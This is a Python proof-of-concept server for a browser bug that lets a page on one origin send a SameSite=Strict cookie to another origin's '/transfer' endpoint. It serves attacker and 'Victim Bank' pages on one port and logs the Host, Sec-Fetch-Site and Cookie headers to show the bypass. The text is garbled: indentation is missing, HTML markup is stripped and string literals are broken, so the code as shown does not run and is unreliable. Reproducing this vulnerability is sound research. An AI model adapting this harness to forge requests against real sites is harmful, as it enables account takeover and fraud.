#!/usr/bin/env python3
"""
POC HTTP server.
Serves attacker + victim content on the same port (8080); the POC
distinguishes origins by host (127.0.0.1 = attacker, localhost = victim).
Logs every request's Host, Sec-Fetch-Site, and Cookie headers so the
trust-laundering is observable on the wire.
"""
import http.server
import socketserver
import sys
PORT = 8080
PAGES = {
"/victim.html": (
b"Victim Bank"
b"Victim Bank (localhost)
"
b"SameSite=Strict session cookie has been set by the server.
"
),
"/attacker.html": (
b"Attacker (background)"
b"attacker.html
"
b""
),
"/attacker2.html": (
b"Attacker pane T"
b"attacker2.html (split pane T)
"
b""
),
"/transfer": (
b"TRANSFER"
b"/transfer reached
"
),
}
class Handler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
path = self.path.split("?", 1)[0]
host = self.headers.get("Host", "?")
sfs = self.headers.get("Sec-Fetch-Site", "")
cookie = self.headers.get("Cookie", "")
line = (
f"[REQ] host={host:<20} path={self.path:<45} "
f"Sec-Fetch-Site={sfs:<12} Cookie={cookie}"
)
print(line, file=sys.stderr, flush=True)
if path == "/transfer":
verdict = []
if sfs == "none":
verdict.append("Sec-Fetch-Site: none (LAUNDERED to browser-initiated)")
else:
verdict.append(f"Sec-Fetch-Site: {sfs}")
if "session=victim-strict-secret" in cookie:
verdict.append("SameSite=Strict cookie WAS SENT")
else:
verdict.append("SameSite=Strict cookie absent")
print("[!!!] /transfer hit -> " + " | ".join(verdict),
file=sys.stderr, flush=True)
body = PAGES.get(path, b"404
")
self.send_response(200 if path in PAGES else 404)
self.send_header("Content-Type", "text/html; charset=utf-8")
self.send_header("Cache-Control", "no-store")
if path == "/victim.html":
# Victim sets a SameSite=Strict session cookie. Under normal
# cross-site navigation rules a renderer at 127.0.0.1 cannot cause
# this cookie to be attached to a request to localhost.
self.send_header(
"Set-Cookie",
"session=victim-strict-secret; SameSite=Strict; Path=/")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
try:
self.wfile.write(body)
except BrokenPipeError:
pass # client aborted (favicon during shutdown)
def log_message(self, fmt, *args):
pass # silence default access log; we print our own
class ReuseTCPServer(socketserver.TCPServer):
allow_reuse_address = True
if __name__ == "__main__":
with ReuseTCPServer(("0.0.0.0", PORT), Handler) as httpd:
print(f"[*] POC server listening on 0.0.0.0:{PORT}", file=sys.stderr)
httpd.serve_forever()